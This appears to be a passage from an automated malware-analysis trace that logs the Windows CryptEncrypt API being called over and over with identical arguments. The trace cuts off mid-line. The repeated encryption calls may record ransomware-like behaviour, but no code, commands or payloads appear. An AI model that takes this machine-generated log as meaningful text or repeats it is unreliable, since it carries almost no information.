1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.739] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.740] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.741] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.742] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.743] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.744] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.745] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.745] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.745] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.745] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.745] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.745] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 